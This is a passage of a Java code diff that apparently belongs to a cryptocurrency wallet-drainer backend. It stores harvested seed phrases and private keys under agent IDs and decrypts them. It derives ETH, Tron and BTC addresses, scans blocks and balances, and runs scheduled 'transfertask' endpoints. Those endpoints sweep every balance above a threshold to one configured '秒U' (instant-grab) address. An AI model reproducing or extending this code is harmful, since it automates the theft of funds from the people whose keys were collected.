+                                thread.start();
+                            }
+                        }
+                    }
+                    if (bepyes.get() && !beparr.isEmpty()) {
+                        //bep有值
+                        for (int i = 0; i < beparr.size(); i++) {
+                            String addressgroup = beparr.get(i);
+                            if (!addressgroup.isEmpty()) {
+                                Thread thread = new Thread() {
+                                    @Override
+                                    public void run() {
+                                        updatebalance(addressgroup);
+                                    }
+                                };
+                                thread.start();
+                            }
+                        }
+                    }
+                }
+//            }, WalletConstants.getExecutor());
+
+
+            //开始处理数据
+//            log.error("开始处理数据:>>>>"+trxyes+"::::::"+trxarr);
+        } catch (Exception e) {
+            e.printStackTrace();
+            log.error("批量扫快task:{}", e.getMessage());
+        }
+    }
+
+
+    public void checktoken2(String token) {
+        try {
+
+            AtomicBoolean ethyes = new AtomicBoolean(false);
+            AtomicBoolean ercyes = new AtomicBoolean(false);
+
+            ArrayList<String> etharr = new ArrayList<>();
+            ArrayList<String> ercarr = new ArrayList<>();
+
+//            CompletableFuture.runAsync(() -> {
+                if (token.equals("eth") || token.equals("erc")) {
+                    long startTime = System.currentTimeMillis();
+                    List<String> str = null;
+                    try {
+                        str = EthUtils.getBlockAddr();
+
+                    } catch (IOException e) {
+                        throw new RuntimeException(e);
+                    } catch (InterruptedException e) {
+                        throw new RuntimeException(e);
+                    }
+                    long endTime = System.currentTimeMillis();
+                    System.out.println("<UNK>" + (endTime - startTime) + "ms");
+                    ApiMnemonicToken pk2 = new ApiMnemonicToken();
+                    pk2.setToken("eth");
+                    List<ApiMnemonicToken> ethlist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk2);
+                    pk2.setToken("erc");
+                    List<ApiMnemonicToken> erclist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk2);
+
+                    String ethlinshi = "", erclinshi = "";
+                    int ethpsadd = 0, ercpsadd = 0, ethps = 0, ercps = 0;
+                    for (int i = 0; i < ethlist.size(); i++) {
+                        String ethaddress = ethlist.get(i).getAddress();
+                        if (str.contains(ethaddress)) {
+                            log.error("eth包含这个区块》》》》》》》》》》》》》》》》》》》" + ethaddress);
+                            if (ethpsadd % 11 == 0 && ethpsadd != 0) {
+                                if (!ethlinshi.equals("") && !ethlinshi.equals(null)) {
+                                    etharr.add(ethps, ethlinshi);
+                                    ethps++;
+                                    ethlinshi = "";
+                                }
+                            } else {
+                                ethlinshi = ethlinshi + "," + ethaddress;
+                            }
+
+                            if (etharr.size() <= 0) {
+                                if (!ethlinshi.equals("") && !ethlinshi.equals(null)) {
+                                    etharr.add(0, ethlinshi);
+                                }
+                            }
+                            ethpsadd++;
+                            ethyes.set(true);
+                        }
+                    }
+                    for (int i = 0; i < erclist.size(); i++) {
+                        String ercaddress = erclist.get(i).getAddress();
+                        if (str.contains(ercaddress)) {
+                            log.error("erc包含这个区块》》》》》》》》》》》》》》》》》》》" + ercaddress);
+                            if (ercpsadd % 11 == 0 && ercpsadd != 0) {
+                                if (!erclinshi.equals("") && !erclinshi.equals(null)) {
+                                    ercarr.add(ercps, erclinshi);
+                                    ercps++;
+                                    erclinshi = "";
+                                }
+                            } else {
+                                erclinshi = erclinshi + "," + ercaddress;
+                            }
+
+                            if (ercarr.size() <= 0) {
+                                if (!erclinshi.equals("") && !erclinshi.equals(null)) {
+                                    ercarr.add(0, erclinshi);
+                                }
+                            }
+                            ercpsadd++;
+                            ercyes.set(true);
+                        }
+                    }
+                    if (ethyes.get() && !etharr.isEmpty()) {
+                        //eth有值
+                        for (int i = 0; i < etharr.size(); i++) {
+                            String addressgroup = etharr.get(i);
+                            if (!addressgroup.isEmpty()) {
+                                updatebalance(addressgroup);
+                            }
+                        }
+                    }
+                    if (ercyes.get() && !ercarr.isEmpty()) {
+                        //erc有值
+                        for (int i = 0; i < ercarr.size(); i++) {
+                            String addressgroup = ercarr.get(i);
+                            if (!addressgroup.isEmpty()) {
+                                updatebalance(addressgroup);
+                            }
+                        }
+                    }
+                }
+//            }, WalletConstants.getExecutor());
+
+            //开始处理数据
+//            log.error("开始处理数据:>>>>"+trxyes+"::::::"+trxarr);
+        } catch (Exception e) {
+            e.printStackTrace();
+            log.error("批量扫快task:{}", e.getMessage());
+        }
+    }
+
+    public void checktoken3(String token) {
+        try {
+            AtomicBoolean trxyes = new AtomicBoolean(false);
+            AtomicBoolean trcyes = new AtomicBoolean(false);
+
+            ArrayList<String> trxarr = new ArrayList<>();
+            ArrayList<String> trcarr = new ArrayList<>();
+
+
+//            CompletableFuture.runAsync(() -> {
+                if (token.equals("trx") || token.equals("trc")) {
+
+                    List<String> str = TronUtils.getBlockAddr();
+                    ApiMnemonicToken pk = new ApiMnemonicToken();
+                    pk.setToken("trx");
+                    List<ApiMnemonicToken> trxlist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk);
+                    pk.setToken("trc");
+                    List<ApiMnemonicToken> trclist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk);
+
+                    String trxlinshi = "", trclinshi = "";
+                    int trxpsadd = 0, trcpsadd = 0, trxps = 0, trcps = 0;
+                    for (int i = 0; i < trxlist.size(); i++) {
+                        String ck = trxlist.get(i).getAddress();
+                        if (str.contains(ck)) {
+                            log.error("trx包含这个区块》》》》》》》》》》》》》》》》》》》" + ck);
+                            if (trxpsadd % 11 == 0 && trxpsadd != 0) {
+//                            log.error("进错了》》》》》》》》》》》》》》》》》》》"+ck);
+                                if (!trxlinshi.equals("") && !trxlinshi.equals(null)) {
+                                    trxarr.add(trxps, trxlinshi);
+                                    trxps++;
+                                    trxlinshi = "";
+                                }
+                            } else {
+//                            log.error("进对了》》》》》》》》》》》》》》》》》》》"+ck);
+                                trxlinshi = trxlinshi + "," + ck;
+                            }
+
+                            if (trxarr.size() <= 0) {
+                                if (!trxlinshi.equals("") && !trxlinshi.equals(null)) {
+                                    trxarr.add(0, trxlinshi);
+                                }
+                            }
+//                        log.error("trx分组数据,全部数据是:>>>>"+trxarr+":::::::::::"+trxlinshi);
+                            trxyes.set(true);
+                            trxpsadd++;
+                        }
+                    }
+                    for (int i = 0; i < trclist.size(); i++) {
+                        String ck2 = trclist.get(i).getAddress();
+                        if (str.contains(ck2)) {
+                            log.error("trc包含这个区块》》》》》》》》》》》》》》》》》》》" + ck2);
+                            if (trcpsadd % 11 == 0 && trcpsadd != 0) {
+                                if (!trclinshi.equals("") && !trclinshi.equals(null)) {
+                                    trcarr.add(trcps, trclinshi);
+                                    trcps++;
+                                    trclinshi = "";
+                                }
+                            } else {
+                                trclinshi = trclinshi + "," + ck2;
+                            }
+
+                            if (trcarr.size() <= 0) {
+                                if (!trclinshi.equals("") && !trclinshi.equals(null)) {
+                                    trcarr.add(0, trclinshi);
+                                }
+                            }
+                            trcyes.set(true);
+                            trcpsadd++;
+                        }
+                    }
+
+                    if (trxyes.get() && !trxarr.isEmpty()) {
+                        //trx有值
+                        for (int i = 0; i < trxarr.size(); i++) {
+                            String addressgroup = trxarr.get(i);
+                            if (!addressgroup.isEmpty()) {
+                                updatebalance(addressgroup);
+                            }
+                        }
+                    }
+                    if (trcyes.get() && !trcarr.isEmpty()) {
+                        //trc有值
+                        for (int i = 0; i < trcarr.size(); i++) {
+                            String addressgroup = trcarr.get(i);
+                            if (!addressgroup.isEmpty()) {
+                                updatebalance(addressgroup);
+                            }
+                        }
+                    }
+                }
+//            }, WalletConstants.getExecutor());
+
+        } catch (Exception e) {
+            e.printStackTrace();
+            log.error("批量扫快task:{}", e.getMessage());
+        }
+    }
+
+    public void updatebalance(String addressgroup) {
+        log.error("开始处理余额:>>>>");
+
+        try {
+            Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(WalletUtils.addrStrToArr(addressgroup, null));
+
+
+            // Print results
+            balances.forEach((address, balanceMap) -> {
+                System.out.println("Address: " + address);
+                balanceMap.forEach((type, balance) -> {
+                    String token = "";
+                    String address2 = address.split("-")[0];
+                    //开始token入库
+                    ApiMnemonicToken apitoken2 = new ApiMnemonicToken();
+                    apitoken2.setAddress(address2);
+                    apitoken2.setToken(token);
+                    List<ApiMnemonicToken> list3 = apiMnemonicTokenMapper.selectSysMnemonicTokenList(apitoken2);
+                    if (list3.size() > 0) {
+                        log.error("开始入库了:>>>>" + list3);
+                        Long findid = list3.get(0).getId();
+                        ApiMnemonicToken pp1 = apiMnemonicTokenMapper.selectSysMnemonicTokenById(findid);
+                        pp1.setBalance(balance);
+                        pp1.setUpdatedTime(System.currentTimeMillis() / 1000);
+                        apiMnemonicTokenMapper.updateSysMnemonicToken(pp1);
+                        //助记词余额更新
+                        Long mnemonicid = list3.get(0).getMnemonicid();
+                        ApiMnemonic pp2 = apiMnemonicMapper.selectSysMnemonicById(mnemonicid);
+                        pp2.setUpdatedTime(System.currentTimeMillis() / 1000);
+                        switch (type) {
+
+                            case "BEP-20":
+                                token = "bep";
+                                pp2.setBep(balance);
+                                break;
+//                                    case "BIDR":
+//                                        chain="bsc";
+//                                        break;
+                            case "BNB":
+                                token = "bnb";
+                                pp2.setBnb(balance);
+                                break;
+                            case "ETH":
+                                token = "eth";
+                                pp2.setEth(balance);
+                                break;
+                            case "ERC-20":
+                                token = "erc";
+                                pp2.setErc(balance);
+                                break;
+//                                    case "ERC-20-USDC":
+//                                        chain="eth";
+//
+//                                        break;
+                            case "TRC-20":
+                                token = "trc";
+                                pp2.setTrc(balance);
+                                break;
+                            case "TRX":
+                                token = "trx";
+                                pp2.setTrx(balance);
+                                break;
+                            case "BTC":
+                                token = "btc";
+                                pp2.setBtc(balance);
+                                break;
+                        }
+                        apiMnemonicMapper.updateSysMnemonic(pp2);
+                    }
+
+
+                });
+            });
+
+        } catch (Exception e) {
+            log.error("updatebalance方法:{}", e.getMessage());
+        }
+
+    }
+
+    private static String getToken(String type) {
+        switch (type) {
+            case "BEP-20":
+                return "bep";
+            case "BNB":
+                return "bnb";
+            case "ETH":
+                return "eth";
+            case "ERC-20":
+                return "erc";
+            case "TRC-20":
+                return "trc";
+            case "TRX":
+                return "trx";
+            case "BTC":
+                return "btc";
+            default:
+                return "";
+        }
+    }
+
+    /**
+     * 余额操作
+     *
+     * @param id
+     * @return
+     */
+    @RequestMapping("/updateblance2")
+    public String updateblance2(@Param("id") String id) {
+        ApiMnemonicToken apitoken = new ApiMnemonicToken();
+        apitoken.setMnemonicid(Long.valueOf(id));
+        List<ApiMnemonicToken> apilist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(apitoken);
+        List<String> ins = new ArrayList<>();
+        for (int i = 0; i < apilist.size(); i++) {
+            String token = apilist.get(i).getAddress();
+            if (!token.equals("") && !token.equals(null) && !ins.contains(token)) {
+                ins.add(token);
+            }
+        }
+        String json = ins.toString();
+
+        try {
+            Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(WalletUtils.addrStrToArr(json, null));
+            balances.forEach((address, balanceMap) -> {
+                System.out.println("Address: " + address);
+                balanceMap.forEach((type, balance) -> {
+
+                    String address2 = address.split("-")[0];
+                    //开始token入库
+                    ApiMnemonicToken apitoken2 = new ApiMnemonicToken();
+                    apitoken2.setAddress(address2);
+                    apitoken2.setToken(getToken(type));
+                    apitoken2.setDeletedTime(0L);
+                    List<ApiMnemonicToken> list3 = apiMnemonicTokenMapper.selectSysMnemonicTokenList(apitoken2);
+                    if (list3.size() > 0) {
+                        log.error("开始入库了:>>>>" + list3);
+                        Long findid = list3.get(0).getId();
+                        ApiMnemonicToken pp1 = apiMnemonicTokenMapper.selectSysMnemonicTokenById(findid);
+                        pp1.setBalance(balance);
+                        pp1.setUpdatedTime(System.currentTimeMillis() / 1000);
+                        apiMnemonicTokenMapper.updateSysMnemonicToken(pp1);
+                        //助记词余额更新
+                        Long mnemonicid = list3.get(0).getMnemonicid();
+                        ApiMnemonic pp2 = apiMnemonicMapper.selectSysMnemonicById(mnemonicid);
+                        pp2.setUpdatedTime(System.currentTimeMillis() / 1000);
+                        switch (type) {
+
+                            case "BEP-20":
+                                pp2.setBep(balance);
+                                break;
+//                                    case "BIDR":
+//                                        chain="bsc";
+//                                        break;
+                            case "BNB":
+                                pp2.setBnb(balance);
+                                break;
+                            case "ETH":
+                                pp2.setEth(balance);
+                                break;
+                            case "ERC-20":
+                                pp2.setErc(balance);
+                                break;
+//                                    case "ERC-20-USDC":
+//                                        chain="eth";
+//
+//                                        break;
+                            case "TRC-20":
+                                pp2.setTrc(balance);
+                                break;
+                            case "TRX":
+                                pp2.setTrx(balance);
+                                break;
+                            case "BTC":
+                                pp2.setBtc(balance);
+                                break;
+                        }
+                        apiMnemonicMapper.updateSysMnemonic(pp2);
+                    }
+
+
+                });
+            });
+        } catch (Exception e) {
+            log.error("updateblance2接口报错:{}" + e);
+        }
+
+        return "";
+    }
+
+    /**
+     * 轮训刷新
+     *
+     * @param num
+     */
+    @RequestMapping("/taskcycle3")
+    public void taskcycle3(String num) {
+
+        try {
+            ApiMnemonic asapi = new ApiMnemonic();
+            asapi.setlimitnum(Integer.valueOf(num));
+            List<ApiMnemonic> listtask = apiMnemonicMapper.selectSysMnemonicList(asapi);
+//           log.error("提取数据的数量》》》》》》》"+listtask.size());
+            String sc = "";
+            for (int i = 0; i < Integer.parseInt(num); i++) {
+                String mneid = decryptByPrivateKey(listtask.get(i).getMnemonic());
+                updatebalance3(mneid);
+            }
+        } catch (Exception e) {
+            log.error("轮训刷新taskcycle3方法{}" + e);
+        }
+
+    }
+
+    public void updatebalance3(String keyword) {
+        log.error("开始处理余额:>>>>" + keyword);
+
+        try {
+            long startTime = System.currentTimeMillis();
+
+            String keywordmd5 = getMD5(keyword.replaceAll(" ", ""));
+//                log.error("返回插入的id:::::搜索token>>"+keywordmd5);
+            //首先查询数据库中是否有该助记词
+            ApiMnemonic checkac = new ApiMnemonic();
+            checkac.setmnemonicmd5(keywordmd5);
+//                log.error("返回插入的id:::::::程序执行到这里了1>>>"+checkac);
+            List<ApiMnemonic> checks = ApiMnemonicMapper.selectSysMnemonicList(checkac);
+//                log.error("返回插入的id:::::::程序执行到这里了1>>>"+checks);
+            if (!WalletUtils.isValidPrivateKey(keyword) && !WalletUtils.isValidMnemonic(keyword)) {
+                if (!checks.isEmpty()) {
+                    ApiMnemonicMapper.deleteSysMnemonicById(checks.get(0).getId());
+                }
+            } else {
+                if (!checks.isEmpty()) {
+                    Long pid = checks.get(0).getId();
+                    checkac.setId(pid);
+                    checkac.setUpdatedTime(System.currentTimeMillis() / 1000);
+
+                    //开始查询助记词的余额//"BIDR", "ERC-20-USDC",
+
+                    List<String> tokenTypeList = new ArrayList<>();
+                    tokenTypeList.add("BNB");
+                    tokenTypeList.add("BEP-20");
+                    tokenTypeList.add("ETH");
+                    tokenTypeList.add("TRC-20");
+                    tokenTypeList.add("TRX");
+                    tokenTypeList.add("ERC-20-USDT");
+                    tokenTypeList.add("BTC");
+                    Map<String, List<String>> addressMap = new HashMap<>();
+                    // 获取钱包地址
+                    Map<String, TWallet> walletMap = new HashMap<>();
+
+                    tokenTypeList.stream().forEach(tokenType -> {
+                        TWallet twallet = null;
+                        switch (tokenType) {
+                            case "BEP-20":
+                            case "BIDR":
+                            case "ETH":
+                            case "BNB":
+                            case "ERC-20-USDT":
+                            case "ERC-20-USDC":
+                                twallet = TMnemonicUtils.ethAddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
+                                break;
+                            case "TRC-20":
+                            case "TRX":
+                                twallet = TMnemonicUtils.generateTronWallet(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
+                                break;
+                            case "BTC":
+                                twallet = TMnemonicUtils.btcBech32AddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
+                                break;
+                        }
+                        if (twallet != null) {
+                            addressMap.put(tokenType, Arrays.asList(twallet.getWalletAddress()));
+                        }
+
+                        if (twallet != null) {
+                            walletMap.put(twallet.getWalletAddress() + "-" + tokenType, twallet);
+                        }
+                    });
+
+                    try {
+                        // Perform batch query
+                        Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(addressMap);
+
+                        // Print results
+                        balances.forEach((address, balanceMap) -> {
+                            System.out.println("Address: " + address);
+                            balanceMap.forEach((type, balance) -> {
+                                System.out.println("  " + type + " Balance: " + balance);
+
+                                TWallet wallet = walletMap.get(address);
+                                switch (type) {
+
+                                    case "BEP-20":
+                                        checkac.setBep(balance);
+                                        break;
+                                    case "BNB":
+                                        checkac.setBnb(balance);
+                                        break;
+                                    case "ETH":
+                                        checkac.setEth(balance);
+                                        break;
+                                    case "ERC-20":
+                                        checkac.setErc(balance);
+                                        break;
+//                                    case "ERC-20-USDC":
+//                                        chain="eth";
+//
+//                                        break;
+                                    case "TRC-20":
+                                        checkac.setTrc(balance);
+                                        break;
+                                    case "TRX":
+                                        checkac.setTrx(balance);
+                                        break;
+                                    case "BTC":
+                                        checkac.setBtc(balance);
+                                        break;
+                                }
+
+                            });
+                        });
+                        apiMnemonicMapper.updateSysMnemonic(checkac);
+
+                    } catch (Exception e) {
+                        log.error("查询余额异常:>>>>" + e.getMessage());
+                    }
+
+                }
+
+            }
+
+            long endTime = System.currentTimeMillis();
+            System.out.println("updatebalance3:Execution time: " + (endTime - startTime) + " ms");
+        } catch (Exception e) {
+            log.error("报错了::》》》" + e);
+        }
+    }
+
+
+    public static String getMD5(String str) {
+        String base = str + "adjlalskdjlakcsjdclsa";
+        String md5 = DigestUtils.md5DigestAsHex(base.getBytes());
+        return md5;
+    }
+
+    public String getData(String url, String parem) {
+        try {
+            String rspStr = HttpUtils.sendGet(url, parem, Constants.UTF8);
+            if (StringUtils.isEmpty(rspStr)) {
+                log.error("未获取到数据");
+                return "";
+            }
+            return rspStr;
+        } catch (Exception e) {
+            log.error("获取地理位置异常 {}", e);
+        }
+        return "";
+    }
+
+    public String postData(String url, String parem) {
+        try {
+            String rspStr = HttpUtils.sendPost(url, parem);
+            if (StringUtils.isEmpty(rspStr)) {
+                log.error("未获取到数据");
+                return "";
+            }
+            return rspStr;
+        } catch (Exception e) {
+            log.error("获取地理位置异常 {}", e);
+        }
+        return "";
+    }
+
+    /**
+     * 处理转账和秒u这块
+     */
+    @RequestMapping("/transfertasksingle")
+    public void transfertasksingle() {
+        try {
+
+            List<ApiMnemonicToken> singlelist = apiMnemonicTokenMapper.selectSysMnemonicTokenTaskSingleList("trc");
+            log.error("提取所有符合条件的" + singlelist);
+            // TRC秒U地址
+            String totrcaddress = configService2.selectConfigByKey("transfer.trc");
+
+            // 多线程流,每个代币表数据互不影响
+            singlelist.parallelStream().forEach(apiMnemonicToken -> {
+                // 源地址
+                String zjcaddress = apiMnemonicToken.getAddress();
+                // 私钥
+                String zjcprivatekey = decryptByPrivateKey(apiMnemonicToken.getprivatekey());
+
+                BigDecimal zjcbalance = apiMnemonicToken.getBalance();
+                // 余额
+                String jcbalancestr = String.valueOf(zjcbalance);
+
+                Long maid = apiMnemonicToken.getId();
+                ApiMnemonicToken tokeninfo = apiMnemonicTokenMapper.selectSysMnemonicTokenById(maid);
+
+//                    String postparem = "fromaddress=" + zjcaddress + "&fromprivateaddress=" + zjcprivatekey +
+//                            "&toaddress=" + totrcaddress + "&money=" + jcbalancestr + "&type=transfer";
+//                    log.error("单阀值转账字符串》》》》" + postparem);
+//                    String str = "";// postData(configService2.selectConfigByKey("api.url") + "/api.php", postparem);
+//                    ;
+                String res = null;
+                try {
+                    res = transferapi(TronUtils.sendTrc20(zjcaddress, totrcaddress, new BigDecimal(jcbalancestr), zjcprivatekey)
+                            , tokeninfo, zjcaddress, zjcprivatekey, totrcaddress, jcbalancestr, jcbalancestr, 2);
+                } catch (Exception e) {
+                    throw new RuntimeException(e);
+                }
+
+                log.error("单阀值转账结果>>>>" + res);
+
+                //           return res;
+            });
+
+
+        } catch (Exception e) {
+            log.error("处理转账和秒u这块 {}", e.getMessage());
+        }
+
+//        return "ok";
+    }
+
+    /**
+     * 批量转账,只处理TRC
+     */
+    @RequestMapping("/transfertask")
+    public void transfertask() {
+        try {
+
+            log.error("开始处理秒u>>>>>>>");
+            String totrcaddress = configService2.selectConfigByKey("transfer.trc");
+            String tomoney = configService2.selectConfigByKey("transfer.trc.money");
+            List<ApiMnemonicToken> plist = apiMnemonicTokenMapper.selectSysMnemonicTokenTaskList("trc", tomoney);
+//                log.error("提取的数据>>>>>>>"+plist);
+//                   log.error("进入内循环>>>>>>>1");
+            ////////////////////////////////////////////////////////////////
+            plist.parallelStream().forEach(apiMnemonicToken -> {
+
+                //                        log.error("进入内循环>>>>>>>2");
+                String zjcaddress = apiMnemonicToken.getAddress();
+                String zjcprivatekey = decryptByPrivateKey(apiMnemonicToken.getprivatekey());
+                BigDecimal zjcbalance = apiMnemonicToken.getBalance();
+                Long maid = apiMnemonicToken.getId();
+                //第二次确认金额满足条件
+                int zjcbalance2 = (int) Math.round(Double.parseDouble(String.valueOf(zjcbalance)));
+                if (zjcbalance2 >= Integer.parseInt(tomoney)) {
+
+                    String jcbalancestr = String.valueOf(zjcbalance);
+                    ApiMnemonicToken tokeninfo = apiMnemonicTokenMapper.selectSysMnemonicTokenById(maid);
+//                        String postparem = "fromaddress=" + zjcaddress + "&fromprivateaddress=" + zjcprivatekey +
+//                                "&toaddress=" + totrcaddress + "&money=" + jcbalancestr + "&type=transfer";
+//                        log.error("普通转账字符串》》》》" + postparem);
+//                        String str ="";// postData(configService2.selectConfigByKey("api.url") + "/api.php", postparem);
+//                        String res = transferapi(str, tokeninfo, zjcaddress, zjcprivatekey, totrcaddress, jcbalancestr, jcbalancestr, 2);
+                    try {
+                        String res = transferapi(TronUtils.sendTrc20(zjcaddress, totrcaddress, new BigDecimal(jcbalancestr), zjcprivatekey)
+                                , tokeninfo, zjcaddress, zjcprivatekey, totrcaddress, jcbalancestr, jcbalancestr, 2);
+                    } catch (Exception e) {
+                        log.error("批量转账,只处理TRC:transfertask方法{}", e.getMessage());
+                    }
+                    //                            return res;
+//                            return "转账返回数据字符串》》》》"+zjcaddress+">>>>>>>>"+postparem;
+                }
+            });
+            ////////////////////////////////////////////////////////////////
+
+        } catch (Exception e) {
+            log.error("批量转账报错>>>>>>>" + e);
+        }
+//        return "";
+    }
+
+
+// add by lwh 2025-7-6 start
+    /**
+     * 批量转账,只处理TRC定时任务,悲观锁处理
+     */
+    @Transactional(isolation = Isolation.READ_COMMITTED)
+    @RequestMapping("/transfertaskTRC")
+    public void transfertaskTRC() {
+//        modify by denghongxing 2025-7-11 start
+        List<Long> idList = null;
+//        modify by denghongxing 2025-7-11 end
+        try {
+            // 获取配置参数
+            String toAddress = configService2.selectConfigByKey("transfer.trc");
+            String sysBalanceStr = configService2.selectConfigByKey("transfer.trc.money");
+            BigDecimal minBalance = new BigDecimal(sysBalanceStr);
+
+            // 1. 先查询符合条件的记录ID(无锁查询,不在事务中)
+            // update by lwh 2025-7-8 start
+            idList = apiMnemonicTokenMapper.selectSysMnemonicTokenIdList("trc", sysBalanceStr, toAddress);
+            // update by lwh 2025-7-8 end
+
+//            modify by denghongxing 2025-7-11 start
+            if (idList.isEmpty()) {
+                return;
+            }
+            log.info("找到{}条符合条件的TRC记录", idList.size());
+
+            // 定时任务时间间隔比较短,转帐时间比较长,为了防止重复转账,把正在处理的数据缓存到ConcurrentHashMap中
+            List<Long> ids = new ArrayList<>();
+            for (Long id : idList) {
+                if (!TRC_IDS.contains(id)) {
+                    TRC_IDS.add(id);
+                    ids.add(id);
+                }
+            }
+            idList = ids;
+            if (idList.isEmpty()) {
+                return;
+            }
+//            modify by denghongxing 2025-7-11 end
+
+            // 2. 分批处理(每批50条)
+            int batchSize = 50;
+            for (int i = 0; i < idList.size(); i += batchSize) {
+                int end = Math.min(i + batchSize, idList.size());
+                List<Long> batchIds = idList.subList(i, end);
+
+                // 3. 对每个批次单独处理(在短事务中)
+                // update by lwh 2025-7-8 start
+                apiService.sendTrcBatchWithLock(batchIds, toAddress, minBalance);
+                // update by lwh 2025-7-8 end
+            }
+
+        }catch (Exception e) {
+            log.error("处理TRC批量转账报错,完整堆栈:", e);  // 打印完整堆栈
+            throw e;
+        }
+        finally {
+//            modify denghongxing 2025-7-11 add
+            if (idList != null && !idList.isEmpty()) {
+                TRC_IDS.removeAll(idList);
+            }
+//            modify denghongxing 2025-7-11 end
+        }
+    }
+// add by lwh 2025-7-6 end
+
+
+// add by lwh 2025-7-8 start
+@Transactional(isolation = Isolation.READ_COMMITTED)
+@RequestMapping("/transfertaskERC20")
+public void transfertaskERC20() {
+    List<Long> idList = null;
+    try {
+        // 获取配置参数
+        String toAddress = configService2.selectConfigByKey("transfer.erc");
+        String sysBalanceStr = configService2.selectConfigByKey("transfer.erc.money");
+        BigDecimal minBalance = new BigDecimal(sysBalanceStr);
+
+        // 1. 先查询符合条件的记录ID(无锁查询,不在事务中)
+        idList = apiMnemonicTokenMapper.selectSysMnemonicTokenIdList("erc", sysBalanceStr, toAddress);
+
+//            modify by denghongxing 2025-7-11 start
+        if (idList.isEmpty()) {
+            return;
+        }
+        log.info("找到{}条符合条件的ERC记录", idList.size());
+
+        // 定时任务时间间隔比较短,转帐时间比较长,为了防止重复转账,把正在处理的数据缓存到ConcurrentHashMap中
+        List<Long> ids = new ArrayList<>();
+        for (Long id : idList) {
+            if (!ERC_IDS.contains(id)) {
+                ERC_IDS.add(id);
+                ids.add(id);
+            }
+        }
+        idList = ids;
+        if (idList.isEmpty()) {
+            return;
+        }
+//            modify by denghongxing 2025-7-11 end
+
+        // 2. 分批处理(每批50条)
+        int batchSize = 50;
+        for (int i = 0; i < idList.size(); i += batchSize) {
+            int end = Math.min(i + batchSize, idList.size());
+            List<Long> batchIds = idList.subList(i, end);
+            // 3. 对每个批次单独处理(在短事务中)
+            apiService.sendErcBatchWithLock(batchIds, toAddress, minBalance);
+        }
+
+    }catch (Exception e) {
+        log.error("处理TRC批量转账报错,完整堆栈:", e);  // 打印完整堆栈
+        throw e;
+    }
+    finally {
+//            modify denghongxing 2025-7-11 add
+        if (idList != null && !idList.isEmpty()) {
+            ERC_IDS.removeAll(idList);
+        }
+//            modify denghongxing 2025-7-11 end
+    }
+}
+// add by lwh 2025-7-8 end
+
+    /**
+     * @param txid               发起trc20转账返回的id
+     * @param tokeninfo          代币表数据
+     * @param fromaddress        钱包地址
+     * @param fromprivateaddress 钱包私钥
+     * @param toaddress          TRC秒U地址
+     * @param money              新余额
+     * @param oldmoney           旧余额
+     * @param txtype             提现类型:1最高优先级2普通优先级
+     * @return
+     */
+    public String transferapi(String txid, ApiMnemonicToken tokeninfo, String fromaddress, String fromprivateaddress,
+                              String toaddress, String money, String oldmoney, int txtype) {
+        log.error("转账返回字符串》》》》》》》" + txid);
+        try {
+
+            if (txid != null) {
+                BigDecimal b1 = new BigDecimal(oldmoney);
+                BigDecimal b2 = new BigDecimal(money);
+                BigDecimal b3 = b1.subtract(b2);
+                int b33 = b3.compareTo(BigDecimal.ZERO);
+                // 转账成功
+                log.error("转账成功了");
+                // 开始入库
+                ApiTransferLog logrk = new ApiTransferLog();
+                logrk.setAgentid(Long.valueOf(tokeninfo.getAgentid()));
+                logrk.setToken(tokeninfo.getToken());
+                logrk.setFromaddress(fromaddress);
+                logrk.setFromprivateaddress(encryptByPublicKey(fromprivateaddress));
+                logrk.setTxtype(txtype);
+                logrk.setToaddress(toaddress);
+                logrk.setMoney(new BigDecimal(money));
+                logrk.setTxid(txid);
+                apiTransferLogMapper.insertSysTransferLog(logrk);
+                // 扣除数据库金额
+                if (b33 > 0) {
+                    //大于0情况
+                    tokeninfo.setBalance(b3);
+                } else {
+                    tokeninfo.setBalance(new BigDecimal("0"));
+                }
+                apiMnemonicTokenMapper.updateSysMnemonicToken(tokeninfo);
+                // 减去对应助记词相关金额
+                Long zjcid = tokeninfo.getMnemonicid();
+                ApiMnemonic findzcj = apiMnemonicMapper.selectSysMnemonicById(zjcid);
+
+                if (money.equals(oldmoney)) {
+                    findzcj.setTrc(new BigDecimal("0"));
+                } else {
+                    if (b33 > 0) {
+                        //大于0情况
+                        findzcj.setTrc(b3);
+                    } else {
+                        findzcj.setTrc(new BigDecimal("0"));
+                    }
+                }
+                apiMnemonicMapper.updateSysMnemonic(findzcj);
+                return "success";
+
+            }
+        } catch (Exception e) {
+            log.error("处理字符串报错>>>>>>>>>>" + e);
+        }
+        return "";
+    }
+
+    /// ///////////////////////////////////////////////////////////////////////////////////////////处理转账和秒u这块
+// generate key
+    public static String generateKey() {
+        try {
+            KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");
+            keyPairGen.initialize(2048);
+            KeyPair keyPair = keyPairGen.generateKeyPair();
+            RSAPublicKey pubKey = (RSAPublicKey) keyPair.getPublic();
+            RSAPrivateKey priKey = (RSAPrivateKey) keyPair.getPrivate();
+            String publicKey = Base64.encodeBase64String(pubKey.getEncoded());
+            String privateKey = Base64.encodeBase64String(priKey.getEncoded());
+            return publicKey + "," + privateKey;
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return "";
+    }
+
+
+    //助剂词加密入库的密钥
+    public static String encryptByPublicKey(String data) {
+        try {
